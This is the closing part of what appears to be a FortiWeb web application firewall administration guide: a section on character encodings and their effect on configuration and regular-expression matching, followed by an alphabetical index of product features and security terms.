Characters such as ñ, é, symbols, and ideographs such as 新 are sometimes acceptable input. Support varies by the nature of the item being configured.

For example, the host name must not contain special characters, and so the web UI and CLI will not accept most symbols and non-ASCII encoded characters as input when configuring the

host name. This means that languages other than English often are not supported. However, some configuration items, such as names and comments, may support the language of your choice.

To use other languages in those cases, you must use an encoding that supports it.

Input is stored using Unicode UTF-8 encoding, but is **not** normalized from other encodings into UTF-8 before it is stored. If your input method encodes some characters differently than in UTF-8, your configured items may not display or operate as expected.

Regular expressions are especially impacted. The matching feature uses the UTF-8 character values. If you enter a regular expression using another encoding, or if an HTTP client sends a request in an encoding other than UTF-8, matches may not be what you expect.

For example, with Shift-JIS, backslashes (\) could be inadvertently interpreted as yen symbols (¥) and vice versa. A regular expression intended to match HTTP requests containing money values with a yen symbol therefore may not work if the symbol is entered using the wrong encoding.

For best results, you should:

- use UTF-8 encoding, or
- use only the characters whose numerically encoded values are the same in UTF-8, such as the US-ASCII characters that are encoded using the same values in ISO 8859-1, Windows code page 1252, Shift-JIS and other encodings, or
- for regular expressions that must match HTTP requests, use the same encoding as your HTTP clients



HTTP clients may send requests in encodings other than UTF-8. Encodings usually vary by the client's operating system or input language. If you cannot predict the client's encoding, only English portions of the request may match, because regardless of the encoding, the values for English characters tend to be encoded identically. For example, English words may be legible regardless of interpreting a web page as either ISO 8859-1 or as GB2312, whereas simplified Chinese characters might only be legible if the page is interpreted as GB2312.

In order to configure your FortiWeb appliance using other encodings, you may need to switch language settings on your management computer, including for your web browser or Telnet/SSH client. For instructions on how to configure your management computer's operating system language, locale, or input method, see its documentation.



If you choose to configure parts of the FortiWeb appliance using non-ASCII characters, verify that all systems interacting with the FortiWeb appliance also support the same encodings. You should also use the same encoding throughout the configuration if possible in order to avoid needing to switch the language settings of your web browser or Telnet/SSH client while you work.

In a similar fashion, your web browser or CLI client should usually interpret display output as encoded using UTF-8. If it does not, your configured items may not display correctly in the web UI or CLI. Exceptions include items such as regular expressions that you may have configured using other encodings in order to match the encoding of HTTP requests that the FortiWeb appliance receives.

See also

- [Cookbook regular expressions](#)
- [Regular expression syntax](#)

Index

Symbols

.pfx 295
<form> 411, 420
<input> 411, 420
<object> 398
<script> 398, 399

Numerics

113, error 71, 638
200 OK 245
239.0.0.1 39
2-way authentication 283
301 Found 360
301 Moved Permanently 360, 496
302 Found 360, 420, 498
302 Moved Temporarily 360, 420, 496, 498
3DES 71, 72, 510
401 Authorization Required 217, 218, 222, 223, 498
401 Unauthorized 149, 189, 498
403 Access Forbidden 463
403 Forbidden 189, 357, 360, 380, 394, 407, 415, 423, 463
404 File Not Found 189, 463
500 Internal Server Error 149, 189
70007 325
802.3ad 118

A

accept 189, 317, 333, 336, 340, 343, 349, 379, 393, 481
Accept-Encoding 25
access control
 web UI 50, 212, 213
access profile 46, 49, 212, 213, 595
ACK 34, 245, 344
action 578
 affect on policy 453
 message format (AMF) 460, 467
Active Directory 210, 225, 227, 230, 295, 297
active role 42
active-active 67, 105
active-passive 67, 96
ActiveSync 13
address resolution protocol (ARP) 104, 122, 651
 and HA 608
 and virtual servers 637
 extra packets 104
 gratuitous 104
 table 627
 troubleshooting 627
admin
 account 49

administrative access 51
 interface settings 113
 protocols 113, 115
 restricting 50, 113, 115, 210, 212
 to web servers 170
administrator
 "admin" account 70, 72, 73, 88, 585
 account 78, 82, 83, 84, 144, 585
 password 88, 211
 permissions 88
 trusted host 212
Adobe
 ColdFusion 218, 485, 606
 Flash 26, 44, 180, 377, 460, 467, 598
 Flex 460, 467
advanced persistent threat (APT) 20, 321, 589
AES 71, 72, 206, 207, 269, 270, 510, 558
aggregation
 link 118
 log messages 539, 559
AJAX 23, 453, 460, 467, 485
Akamai 261
alert
 on the dashboard 563
 vulnerability scan 503
alert email 189, 312, 317, 333, 336, 340, 343, 349, 379, 380, 393, 394, 407, 415, 423, 432, 443, 460, 481, 529, 563, 651
 enabling 488, 563
 for end-user HTTP authentication 236
 reducing 200
 severity 313, 318, 323, 327, 334, 337, 341, 343, 350, 354, 380, 394, 403, 408, 416, 424, 427, 432, 443
algorithm
 link aggregation 119
 SSL/TLS 269
allow 185, 312, 380
 method 426
 exception 428
alphanumeric 167
American Express 166
Android 220, 283
anonymous
 Diffie-Hellman 638
 FTP 207
 proxy 319
 query 226
 requests 321
 VPN 30, 321
ANSI escape code 167
anti-defacement 485, 589, 651, 652
 performance 607

- Apache 13, 171, 175, 434, 439
 - DoS 434
 - Slowloris attack 32
 - virtual host 239
- Apple
 - iPhone 220, 283
 - Mac OS X 28, 631, 636
- application layer 126, 128, 268, 328, 344, 453, 628
- architecture 14
- archive 582
- ASCII 619, 665, 666, 667
- ASIC chip 14, 16, 267, 507
- ASP 485
 - .Net 396
- ASPSESSIONID 467
- asterisks 541
 - and performance 601
- asymmetric encryption 285
- asymmetric routing 628
- asynchronous inspection 464
- attachment 582
- attack
 - analytics 584, 585
 - automated 347
 - BEAST 510
 - block 185, 189, 312, 317, 333, 336, 340, 343, 349, 379, 384, 393, 407, 415, 423, 432, 443
 - brute force login 26, 212, 283
 - buffer overflow 430
 - clickjacking 370
 - console 523
 - count in auto-learning report 189
 - CRIME 35
 - CSRF 27, 401
 - DDoS 30
 - denial of service (DoS) 510
 - directory harvest 350
 - directory traversal 400
 - DoS 27, 321, 328
 - hidden input tampering 420
 - HTTP request flood 337
 - information leak 29
 - log 189, 313, 317, 318, 323, 327, 333, 334, 336, 337, 340, 341, 343, 349, 350, 354, 379, 380, 381, 393, 394, 403, 407, 408, 415, 416, 423, 424, 427, 432, 443, 481, 523, 534
 - in PDF format 563
 - search 560
 - LOIC 31
 - low-rate DoS 31
 - man-in-the-middle 285
 - man-in-the-middle (MITM) 268
 - pad 598
 - ping 114
 - redirect 189, 379, 394, 407, 415, 423
 - report page 186
 - session hijacking 363
 - signature 377, 391, 597
 - slow brute force 237
 - slow POST 31
 - slowloris 32
 - socket exhaustion 32
 - SQL injection 30
 - statistics 464, 470
 - SYN flood 32
 - tampering 420
 - XML
 - parser 461, 468
 - XSS 27
 - zero-day 391, 411
 - Zeus 31
- attribute
 - certificate 286
 - common name (CN) 226
 - extended 286
 - filter 227
 - group membership 225, 227
 - HTML 412, 416
 - name 416
 - RADIUS 230
 - type 412
 - XML 461, 468
- Attribute 31 230
- audit 210, 213, 589
- authentication 71, 221, 228, 233
 - administrator 211
 - end-user 62, 217
 - failure 227
 - form-based 221, 495, 498
 - local 211
 - mutual 283
 - PKI 220, 283, 480
 - remote 210
 - SMTP 564
 - SSL/TLS 638
 - supporting modes 65, 66
 - timeout 235
 - URL 498
 - vulnerability scan 496, 498
- authorization 23, 217, 228
 - bypassing 35
 - end-user 221
 - FortiGuard 144
- Authorization: 222
- auto ID 283

- auto-learning 146, 149
 - and performance 600
 - clear data 198
 - performance 604
 - profile generate 194
 - reports 180
- availability 95, 529

B

- back door 192, 491
- backbone 118
- back-end server 147, 485
- back-reference 153, 193, 359, 360, 372, 659, 663
 - and performance 601
- backtracking 601
- backup 613
 - firmware 82
 - password 594
 - secure 284, 289, 292, 295
 - web site 490
- bandwidth 118
- bank sort code 168
- Base64 296, 399
- baseline 204
- batch configuration 208
- BCOPY 427, 429
- BEAST 26, 510
- best practices 13, 125, 178, 512
- binary 377, 467
- bind DN 226
- Bing 175
- BIOS 646
- bit
 - DF 618
 - mask 117
 - strength 71, 72, 206, 207, 269, 270, 285, 558
 - TOS 618
- bits per second (bps) 72
- blacklist 325, 326, 591
- block 192
 - IP 591
 - period 189, 317, 318, 333, 336, 340, 343, 349, 379, 380, 393, 394, 407, 415, 423, 432, 443, 591
 - example 334
- Blowfish 72
- body rewrite 357, 370

- boot
 - device 648
 - interrupt 648
 - loader 646
 - up 645
- botnet 132, 319, 321
- boundary 660
- bridge 41, 61, 64, 65, 110, 123, 452, 477, 507
 - protocol data unit (BPDU) 120
 - topology 64
- broadcast 104, 110, 118
 - domain 115
- browser 69, 71, 114, 209, 251, 480
 - access 44
 - attack 397
 - enforcement 332, 339
 - error handling 397
 - real 347
 - resolution 44
 - warnings 71
- brute force login 212, 352
- buffer
 - compression inspection 137
 - decompression 137
 - DLP scan 509
 - length 430, 521, 522
 - overflow 27, 411, 430, 433, 435, 497
 - packet log 535
 - pad 598
 - size 179, 430, 435, 597
- bypass 64, 65, 263
 - during power outage 507
 - using anonymous Diffie-Hellman 638

C

- cabling 628
- cache
 - authentication query results 236
 - browser 79, 83, 218, 223
 - clear 223
 - local 347
 - realm 223
 - response 509
 - timeout 237
- CalDAV 433
- capture group 153, 359, 372, 659, 663
 - and performance 601
- carriage return 659
- Carte Blanche 166
- cascading style sheet (CSS) 511

- certificate 250, 267, 479
 - authority (CA) 71, 270, 275, 276, 279, 281, 286, 306, 308
 - field 306
 - backup 205
 - chain of trust 305
 - client 306
 - default 71, 273
 - domain name 71
 - local 273
 - mismatch 71
 - operation modes 279
 - personal 220, 251, 283, 306, 480
 - revocation list (CRL) 306, 308, 309
 - upload 308
 - revoke 305, 306, 308
 - self-signed 71
 - server 273
 - signature 286, 305
 - signing chain 251, 279, 293, 480
 - signing request (CSR) 274
 - generating 275
 - generating in Microsoft Windows Server 289
 - submit 278
 - trust 251, 279, 480
 - trust store 289, 295, 297
 - user 251, 480
 - verification 61
 - warning 71, 251, 281, 480
- CFG_CLI_INTERNAL_ERR 129, 130
- chain of trust 251, 279, 285, 293, 305, 480
- channel 118
- character
 - class 602
 - encoding 399, 509
 - property 602
 - set 399
 - special 399
- charset 399
- checksum
 - data analytics file 585
 - header 618
 - message authentication 285
- Chinese 52
- chip
 - ASIC 14
- Chrome 199, 269, 510, 638
- chunked 357
- CIFS 487, 489, 651, 652
- cipher 72, 489
 - suite 638
- cipher block chaining (CBC) 269, 270, 510
- Cisco discovery protocol (CDP) 116
- clean install 648
- clickjacking 26, 370, 610
- Client Authentication 307
- client certificate 220
- cloaking 357, 380, 384, 393
- clock 90, 517
- cluster 39, 41, 62, 82, 95, 98, 246
- cmd.exe 400
- code point 662
- ColdFusion 218, 384, 606
- color 167, 522, 588
- column view, logs 553
- command line interface (CLI) 15, 50, 69, 91, 93, 210, 513, 521, 652
 - commands 521
 - connecting to 72
 - Console widget 514, 521
 - diagnose 627
 - network 627
 - prompt 506
 - through the web UI 513
 - using to debug 638
- comma-separated value (CSV) 542, 558
- comment 666
- common
 - gateway interface (CGI) 34
 - name (CN) 71
 - ID (CNID) 226
- common gateway interface (CGI) 422
- community 568
 - name 569
 - SNMP 567
- Comodo 286
- compliance 14, 201
 - HIPAA 25
 - PCI DSS 27, 492, 579
- compression 13, 61, 446
- config 213
- connecting
 - CLI 72
 - web UI 70
- connection
 - limits 334
 - load balancer 379
 - reset 380
- Connection: 18, 32
- contact information, SNMP 568
- content
 - scraper 385
- content routing 247
 - HTTP 247, 253, 476
- Content-Encoding: 24, 446, 449
- Content-Length: 23, 31, 433, 440
- Content-Type: 23, 362, 440, 444, 447, 449, 450
- cookie 22, 23, 24, 149, 201, 219, 459, 460
 - crumb 193
 - limit 598
 - session 33, 36, 219, 328, 401, 453
 - stolen 401
 - support 329, 334, 459, 460
 - SYN 344, 478
 - tampering 26
 - third-party 201
 - web application 37, 219
 - whitelisted 453
- Cookie: 36, 394

- cookiesession1 23, 36, 453
- country 321, 322
 - code 166
- CP7 chip 507
- CP8 267
- CP8 chip 16
- CPU
 - and ASIC chip 507
 - usage 523, 535, 570, 639
 - and regular expressions 600
 - versus ASIC processing 267
- crack 167
- crawler 499
- credit card
 - leakage 27
 - number 166, 167, 386
- CRIME 35
- crossover cable 67, 97
- cross-site request forgery (CSRF) 27, 381, 401
- cross-site scripting (XSS) 13, 27, 29, 139, 377, 381, 460, 467, 497, 524
 - writing signatures for 397
- curl 347
- custom
 - dashboard 513
 - data type 417
 - network service 264
 - signature 391
 - suspicious URL 172, 173

D

- Danish postnumre 166
- dashboard 512
 - customize 513
- data
 - analytics 584, 585
 - capture port 477
 - leak 27, 377, 386
 - signature 391
 - leak prevention (DLP) 391, 449
 - loss 529
 - sensitive 541
 - theft 28, 29
 - type 417
 - and regular expressions 164
 - custom 164
 - group 168
 - predefined 164
- database 201
- dates 166
- daylight saving time (DST) 90
- debug command 638
- decrypt 479
- defacement 20, 485, 607

- default
 - access profile 213, 595
 - administrator account 49, 70, 72, 73, 78, 82, 83, 84, 88, 144, 585
 - certificate 71
 - configuration 210
 - IP address 109
 - password 15, 70, 71, 72, 73, 74, 88, 215, 641
 - reset to 647
 - route 124
 - settings 70, 72, 522
 - URL 70, 114, 209
 - widgets 514
- Deflate 35
- delete
 - cannot 213
 - logo 576
 - logs 614
 - packet payload data 529
 - policy 56, 92, 93
 - route 92, 93
 - VLAN 92, 93
 - V-zone 92, 93
- denial of service (DoS) 13, 30, 61, 321, 328, 434, 439, 510
 - and ping 629
 - distributed 30
 - false positive 609
 - prevention policy 345
 - SYN flood 478
 - vulnerability scan 493, 497
- deny 185, 189, 312, 317, 333, 336, 340, 343, 349, 379, 384, 393, 407, 415, 423, 432, 443
- deployment 20, 59
 - mode 476
- DES 71, 269, 270
- destination
 - NAT 139
- destination unreachable 125, 633
- diagnose 618, 627, 637
- diff 617
- differentiated services 618
- Diffie-Hellman 62, 199
 - exchange 250, 638
- digest 460
- Digital Signature 307
- Diners Club 166
- directory 222
 - harvest attack 350
 - traversal attack 28, 400
- disk
 - failure 529, 530
 - full 643
 - quota 543
 - space 198, 523, 558
 - status 528
 - usage 523, 570, 643
- distinguished name (DN) 225, 226, 227, 274
 - bind 226

- DNS
 - server 109, 128, 564
 - test connection 633
- document object model (DOM) 19, 420, 461
- document type definition (DTD) 19, 461
- domain
 - Active Directory 297
 - authentication 222
 - broadcast 115
 - name 665
 - certificate 71
 - FTP server 206
 - fully qualified (FQDN) 634
 - local 129, 130, 506
 - name system (DNS)
 - internationalized 665
 - server 129
 - settings 128
- Domino 13, 210, 225
- DOS 69
- dot3Errors 572
- dot3Tests 572
- down 526
 - link 527
 - time 40, 244, 256
- downgrade 77
- download
 - certificate 278
 - logs 556
 - reports 583
- DSA 279
- DTD 666
- dual ISP connection 96
- duplex 118, 527
- dynamic
 - pages 218
 - URL 149, 150, 179, 182

E

- ECHO_REQUEST 114, 120, 244, 245, 628, 629
- ECHO_RESPONSE 114, 245, 543, 627, 629
- ECMP 629
- eDirectory 225, 227
- EGP 572
- egress 125
- element
 - HTML 666
 - XML 461, 468
- email
 - address 166
 - alert 488, 563
 - policy 563
- encoding 52, 399, 666
 - transfer 357

- encryption 479, 638
 - backup 206, 207, 558
 - password 594
 - SSL/TLS 269
 - weak 71
- end-user 223
- EnhancedKeyUsage 307
- enRoute 166
- entity 399, 666
- ephemeral Diffie-Hellman 250
- erase 380
- error 638
 - 113 71, 638
 - invalid IP address 122
 - page, custom 454
 - server 384
 - syntax 435
- ERROR_SSL_VERSION_OR_CIPHER_MISMATCH
 - 71, 638
- escape codes 167
- Ethernet 71, 73, 168, 572, 619
 - frame 118
- event
 - console 201, 513
 - log 236, 535
 - SNMP 570
- exception
 - allow method 428
 - browser check 351
 - compression 445
 - HTTP protocol constraint 435
- Exchange Server 13, 154, 427, 429
- execute shutdown 57
- exploit 169
- extended signature set 200
- ExtendedKeyUsage 307

F

- factory default settings 70, 72, 210, 647
- fail-open 61, 98, 507
- failover 38, 39, 40, 82, 96, 97, 98, 101, 122
- fail-to-wire 61, 98, 507
- failure
 - PSU 507
- false
 - negative 535, 613
 - FortiGuard 138
 - positive 175, 177, 178, 179, 200, 202, 331, 348, 381, 382, 384, 388, 391, 392, 435, 436, 535, 550, 591, 598, 610, 612, 613
 - FortiGuard 138
- fault tolerance 95, 96, 98, 507
- favicon.ico 453, 454

- file
 - compression 61, 449
 - defacement 489
 - size limit 488
 - extensions 607
 - formats 582
 - large 607
 - name 582
 - password 594
 - size 447, 584
 - limit 440, 441
 - type
 - restriction 440, 441
 - upload 441
 - limit 441
- file system check 644
- filter
 - clear 555, 556
 - icon 554
 - LDAP query 227
 - logs 554
- fingerprint 400
 - server software 455
 - SSH 74
- Firefox 71, 400, 510, 638
- Firesheep 35, 363
- firewall 593
 - blocking FortiWeb 633
 - conventional 60
 - generic 326, 453
 - standby 96
- firmware 75
 - alternate 82
 - change 515
 - downgrade 77
 - restore 648
 - test 75
 - update 77
 - upgrade 77
 - version 513, 517
- first-time system setup 14
- flag 618
- Flash 26, 180, 377, 460, 467, 598
- Flex 460, 467
- flood
 - HTTP request 337, 341
 - TCP connection 337, 341
 - TCP connections 334
 - TCP SYN (half-formed connection) 344
- flow control 73
- font 522
- footer 575
- forensic analysis 320, 321, 370, 400, 535, 550
- forgotten password 215, 641
- form 221, 412, 421, 498
 - submit 219
 - tag 218
- format
 - boot device 648
 - reports 578
 - view, logs 553
- FortiAnalyzer 351, 539, 544
 - log storage 532
 - policy 542
- FortiGate 126, 127
- FortiGuard
 - Antivirus 132
 - FortiWeb Security Service 132
 - IP Reputation Intelligence Service (IRIS) 132, 319
 - services 59
 - updates 138, 139
 - Vulnerability Management 132
- FortiMail 350, 564
- Fortinet
 - Distribution Network (FDN) 132
 - Technical Support 97, 132, 572
 - Technical Support, registering with 59
- FortiScan 492, 592
- FortiWeb
 - 1000B 528
 - 1000C 507, 528, 644
 - 3000C 507, 528
 - 3000CFSX 507
 - 4000C 507
- FortiWeb-VM 58, 59, 71, 95, 109, 121, 528
- forwarding 60, 246, 453
 - FTP 63, 265
 - HTTP 239, 265
- fragment 618
- frame 115, 118, 119
- fraud 35
- FTP 63, 64, 168
 - allowing through 126, 127
 - and anti-defacement 487, 651
 - backup via 206
- fully qualified domain name (FQDN) 277
- fwb_system.conf 39

G

- gateway 93, 109, 125, 127
 - route 125
- GB2312 667
- generate
 - auto-learning PDF 184
 - auto-learning profile 194
- Generic Attacks 382
- geography 322
- GET 32, 197, 239, 246, 497
- get 213, 506
- gidNumber 227
- Google
 - Analytics 453
 - Android 283
 - Chrome 199, 218, 222, 269, 305, 510, 638
 - search engine crawler 175
- Google Android 220

- government regulations 13
- grade point average (GPA) 166
- graphical user interface (GUI) 44, 69
- gratuitous ARP 104
- greedy 661
- greyware 383
- group
 - administrator 214, 225
 - HA 100
 - LDAP 225
 - log messages 560
 - servers 239
 - users 231
- gzip 446, 449

H

- half-open 27
 - threshold 345, 478
- halt 528
- handshake 40, 71, 220, 269, 283, 285, 308, 510
- hang 600, 601
- hard disk 532
 - failure 529, 643
 - logging to 537
- hardening security 50, 70, 88, 210, 211, 213, 224, 283, 284, 285, 289, 292, 295, 297, 305, 412, 430, 591, 627
- hardware
 - failure 95, 244, 529, 530, 531
 - troubleshooting 626
- harvester 491, 497
- hash 638
 - password 642
- hasyncd 103
- HEAD 32
- header
 - HTTP 217, 222, 239, 253, 384, 411
 - IP 509
 - leakage 384
 - report 575
 - VLAN 115
- health check
 - server 242, 244, 247
 - timeout 246
- heartbeat
 - HA 100, 101
 - interface 67, 101
 - link 39, 67, 98
- hexadecimal 167, 399, 619
- hidden fields
 - input 24, 33, 420
 - policy 425
 - rules 420

- high availability (HA) 62, 67, 81, 95, 529
 - active appliance 42
 - failover 39
 - group name 100
 - heartbeat 39
 - heartbeat interface 101
 - interface monitoring 101
 - main 96
 - mode 515
 - pair 42
 - permission 98
 - port monitor 101
 - standby appliance 42, 96
 - status 515
 - synchronization 39
 - VMware 95
- HIPAA 25
- history
 - attack events 201
 - HTTP hits 524
 - session 37, 333, 336, 340, 349, 405, 409, 423
 - vulnerability scan 503
- hit 33, 464, 470, 524, 584, 585
- honeypot 399
- Host 233, 253, 357, 359, 361, 367, 411, 433, 438, 472, 477, 590
 - rewrite 357
- host 22, 239, 253, 357, 422, 477
 - name 41, 71, 506, 513, 515, 516, 521, 572
 - illegal 438
 - protected 239, 241
 - virtual 239, 241
- HTML 666
 - element 666
- HTTP 60, 114, 115, 244, 246
 - 1.0 477
 - 1.1 18, 32, 239, 477
 - administrative access 652
 - authentication 62, 221, 233
 - CONNECT 138
 - content routing 247, 476
 - GET 197, 239, 246, 497
 - header 222, 384
 - headers 239
 - parser 597
 - periodically blocked 318, 333, 336, 340, 343, 349, 380, 394, 407, 415, 423, 432, 443, 591
 - pipelining 18, 32
 - port number 51
 - POST 31, 183, 388, 430, 440, 498
 - XML 460, 467
 - protocol 34
 - PUT 194, 440
 - request 453
 - request flood 337
 - routing 253
 - session 32, 40, 149, 182, 405, 459, 460, 482, 534, 656
 - attack 363
 - timeout 245
- HttpOnly 421

- HTTPS 60, 71, 113, 115, 147, 267, 270, 274, 277, 479
 - administrative access 653
 - port number 51
 - request 453
 - routing 253
 - session 35, 40
 - timeout 245
- httpsd 126, 128
- hyperlink, rewrite 367
- hypertext markup language (HTML) 167
 - entity 399
- hypervisor 95, 528

I

- i18n 665
- IBM
 - Lotus Domino 13, 171, 210, 225
 - Lotus Notes 350
 - WebSphere 455
- ICMP 114, 120, 122, 245, 572, 627, 629, 651, 652
 - ECHO_REQUEST 114, 244, 245, 542, 628
 - ECHO_RESPONSE 627
 - type 0 114, 245, 627
 - type 8 114, 245, 628, 633
- ID
 - 70007 325
 - packet 618
 - session 35, 36, 37
 - theft 13
- identity theft 13
- idle 51
- IEEE
 - 802.1d 120, 657
 - 802.1q 115, 117, 657
 - 802.3ad 118
- ignore
 - action 481
 - blocking 481
- IIS 13, 170
- import
 - certificate 279
 - CRL 308
- infinite loop 600, 601
- information disclosure 29, 377, 391, 524, 606
- initialization vector (IV) 510
- input 149, 201, 416, 420
 - hidden 24, 33, 411, 420
 - method 667
 - rule 411
 - tag 24, 218, 411, 420
- installing 20, 59
 - FortiWeb-VM 14
- interface
 - administrative access 113
 - configuring 109
 - monitoring, HA 101
- internationalized 665
- Internet Explorer 289, 297
- Internet service provider (ISP) 128

- interval
 - ARP 104
 - HA heartbeat 100
 - health check 246
 - monitoring 488
- inter-VLAN routing 116, 117
- Invalid IP Address 122
- IP
 - address 71, 72, 113, 115, 120, 130
 - blocked 591
 - for configuring FortiWeb 109
 - virtual 637
 - based forwarding 63
 - blacklist 325, 326, 591
 - forwarding 126, 127, 627
 - header 545
 - invalid 122
 - list policy 325
 - trusted 325, 326
 - version
 - 4 113
 - 6 16, 113
 - virtual 126, 127
- IP address 109
- iPhone 220, 283
- IPSec 588
- IPv4 113, 665
- IPv6 16, 113
- ISO 8859-1 667
- Issuer 306

J

- Japan Credit Bureau (JCB) 166
- Japanese 52
- Java server pages (JSP) 154, 183
 - adjusting auto-learning for 152
- JavaScript 34, 347, 397, 420, 447, 511, 521, 666
 - blocking automated tools 332, 339
- JBoss 13
- jitter 119, 629
- Joomla 13, 28, 400
- JSESSIONID 36, 154, 467
- JSPSESSIONID 219

K

- keep-alive 18, 32
- key
 - cryptographic 510
 - exchange 62, 199, 269, 638
 - pair 278
 - private 205, 206, 207, 269, 271, 279, 283, 284, 285, 289, 292, 295, 310
 - product activation 167
 - public 285, 286
 - SSH 73
 - SSL/TLS 510
 - type, certificate 276
 - usage 307
- Key Usage: 307
- keyword 562

L

- LAN 510, 511
 - virtual 115
- language 52, 667
 - web UI 52
- __LASTFOCUS 453
- latency 65, 66, 98, 105, 236, 243, 629, 633
- Layer
 - 1 126, 128, 619
 - 2 64, 65, 98, 101, 116, 118, 120, 126, 128, 608
 - multicast 39, 67, 652, 653
 - 3 116, 118, 252, 328, 629
 - 4 118, 126, 128, 252, 328
 - DoS protection 328
 - 6 252
 - routing 252
 - 7 268, 328, 344, 453
- lazy 661
- LDAP
 - administrator group 225
 - authentication 651
 - bind 226
 - password 226
 - query 210
- LDAPS 226, 227, 267, 270, 652
- license 71, 136
 - trial 95
 - validation 132
- limit
 - content length 433
 - rate 328, 385
- line feed 659
- link 96, 97, 98
 - aggregation 118
 - checker 385
 - failure 98, 101
 - layer 118, 619
 - monitor 101
 - pair 507
 - redundant 110
 - speed 118, 527
 - status 527, 627
- Linux 28, 631, 636
- load
 - and vulnerability scans 493
 - balancer 256
- load balancer 322, 333, 336, 379
- load balancing 60, 63, 105, 148, 476
 - algorithm 247
 - weight 247
- local
 - cache 347
 - console access 50, 521
 - domain name 129, 130, 506
 - file inclusion (LFI) 28, 382
 - hard drive 532
 - logs 544
- locale 667
- Location 24, 25, 361, 367, 420

- log 529
 - aggregation 539, 559
 - attack 313, 318, 323, 327, 334, 337, 341, 343, 350, 354, 380, 394, 403, 408, 416, 424, 427, 432, 443, 534
 - attacks 189, 317, 333, 336, 340, 343, 349, 379, 393, 407, 415, 423, 432, 443, 481
 - cleared 614
 - column view 553
 - configure 545
 - details 549, 550
 - download 556
 - event 535
 - filter 554, 555
 - clear 556
 - formatted view 553
 - gap 40
 - level 531
 - mount point 643
 - packet contents 529, 550
 - PDF 563
 - raw view 554
 - reports 573
 - rotate 538
 - settings 533, 536
 - severity 313, 318, 323, 327, 334, 337, 341, 343, 350, 354, 380, 394, 403, 408, 416, 424, 427, 432, 443
 - standby appliance 97
 - Syslog 538
 - table 549
 - timestamp 89
 - to memory 538
 - to the hard disk 537
 - traffic 534
 - types 530, 533
- login 34, 71, 222, 224, 225, 229, 231, 578, 640
 - administrator 211, 224
 - failed 236
 - page 218
 - preference 412
 - prompt 73
 - script 297
 - successful 236
 - timeout 595
 - user 217, 236
- logo 575, 576
 - delete 576
- logout 34, 219
- look-ahead 602, 661
- loop
 - infinite 464
 - Layer 2 118, 120
 - network 629
 - redirect 464
- loopback 168
- lost password 215, 641
- Lotus 13
 - Notes 350
- low encryption (LENC) 71
- low orbit ion cannon (LOIC) 31

Lulzsec 29

M

Mac OS X 631, 636

Magento 37

mailto 168

main 96, 102

maintainer 642

maintenance 95

malformed request 435

management information block (MIB) 567
support 572

management protocols 595

manager

SNMP 567, 569, 570, 572

man-in-the-middle (MITM) 26, 268, 270, 285, 510

markup 167

mask

sensitive data 541

subnet 117, 119

master 96, 102

Master Card 166

maximum

file size 447

transmission unit (MTU) 115

values 654

MD5 269, 270, 639

media access control (MAC) address 112, 120

conflict 628

virtual 39, 96, 100, 104, 112

memberOf 227

memory

leak 497

log to 538

size 430

test 646

usage 523, 535, 570, 639

menus 54

message authentication checksum (MAC) 285

messages

dashboard 525

error 53, 142, 463

log 236, 308, 314, 319, 356, 381, 405, 409, 419,
461, 468, 477, 544

log types 530

SNMP 567

Metasploit 598

Microsoft

activation key 167

Active Directory 210, 225, 227, 230, 295, 297

Excel 558

Exchange Server 429

Exchange Server 2003 427

Exchange Server 2008 154

Exchange Server 2010 13

IIS 13, 170, 384

Internet Explorer 44, 71, 220, 289, 297, 307

Outlook Web App 13, 150, 155

Outlook Web App (OWA) 152, 154

SharePoint 13

Windows 230, 400

Windows 7 297

Word 501

MIME 362, 447, 501, 582

minimum cost path 120

mirror

hard disks 528

port 65

MKCALENDAR 433

mode

monitor 481

offline protection 66, 452

operation 60, 92

reverse proxy 63, 116

single administrator 50

switching 203

transparent 64

transparent inspection 65, 452

true transparent proxy 65, 452, 507

vulnerability scan 497

monitor

cookies 201

data analytics 584, 585

events and attacks 512

for defacement 485, 487

HTTP traffic 524

interval 488

mode 481

ports 101

using SNMP 567

Mozilla 400

Firefox 44, 71, 400, 510, 638

MSN 175

mtab 644

multicast 39, 67, 98, 101, 118, 652, 653

mutual authentication 283

MySQL 218, 485

N

name

community 569

domain 506

host 506

National Insurance Number (NINO) 167

negative security model 146

negotiation 510, 638

- nested
 - quantifiers 602
- netmask 109
 - administrator account 212
- network
 - address translation (NAT) 60, 110, 256, 257, 260, 326, 334, 337, 356, 453, 493, 588
 - 64 16
 - and attack origin 545
 - and period block 333
 - destination 139
 - source 65, 257, 322, 510
 - interface 70, 72, 109, 115, 120, 127
 - layer 126, 128, 328, 628
 - loop 118, 629
 - mask 109, 115, 117, 119, 120
 - private 257
 - settings 109
 - time protocol (NTP) 89
 - topology 14, 60, 62, 64, 66, 67, 95
- new line 659
- newcli 126, 128
- next-hop router 123, 125
- nginx 13, 170
- NIC teaming 110
- notification 488, 563
 - defacement 485
- Novell
 - eDirectory 225, 227
- Novus 166
- NSS 510
- NT LAN Manager (NTLM) 230
 - users 231
- null 438
 - characters 433, 438
 - modem 72
 - route 125

O

- object identifier (OID) 572
- offline protection mode 66, 452, 516
 - switching from 203
- offline protection profile 464

- offloading 273
 - compression 446
 - SSL/TLS 267, 453, 479
 - vulnerability scans 492, 592
- onClick() 666
- one-arm 64, 66, 263
- onError() 397
- online certificate status protocol (OCSP) 306, 307, 309
- open system interconnections (OSI) model 328
- OpenLDAP 225
- OpenOffice 501
- OpenSSL 286
- operating system (OS) 75, 77
- operation mode 60, 62, 92, 515, 516
 - supported features 61
 - switching 92
- Oracle 485
- order of execution 21, 185, 380
- outbreak 136
- Outlook Web App (OWA) 13, 150, 155
- out-of-band 65, 464
- OWASP 13, 377

P

- packet 550
 - capture 608, 618
 - log 529
 - loss 489, 616, 629
 - payload 200, 535, 550
 - received 527
 - sensitive information 539
 - sent 527
- pad 598
- page
 - access 401
 - requests 524
- parameter 149
 - separator 150
 - validation 411, 418
 - value 153
- parity 73
- parser 597
 - XML 19, 461
- partition 78, 82, 85, 570, 644, 648
- Pass 185, 191, 380

- password 70, 71, 72, 73, 74, 88
 - admin, changing 215, 641
 - administrator 15, 211
 - anti-defacement 488
 - authentication
 - rule 234
 - backup 284, 289, 292, 295, 594
 - encryption 207
 - brute force 26
 - complexity 219
 - encrypting backups 206
 - encrypting logs 558
 - end-user 224
 - enforcing complexity 219
 - forgotten 215, 641
 - FTP 207
 - guess 26
 - LDAP bind 226
 - length 642
 - Level 2 412
 - lost 49, 212
 - obscuring 539
 - predefined data type 167
 - re-enter 223
 - reset 49, 215, 641
 - SMTP 565
 - strength 88, 167, 211, 224, 283
 - enforcing 412
 - strong 53, 595
 - unencrypted 223
 - vulnerability scan 498
 - weak 167
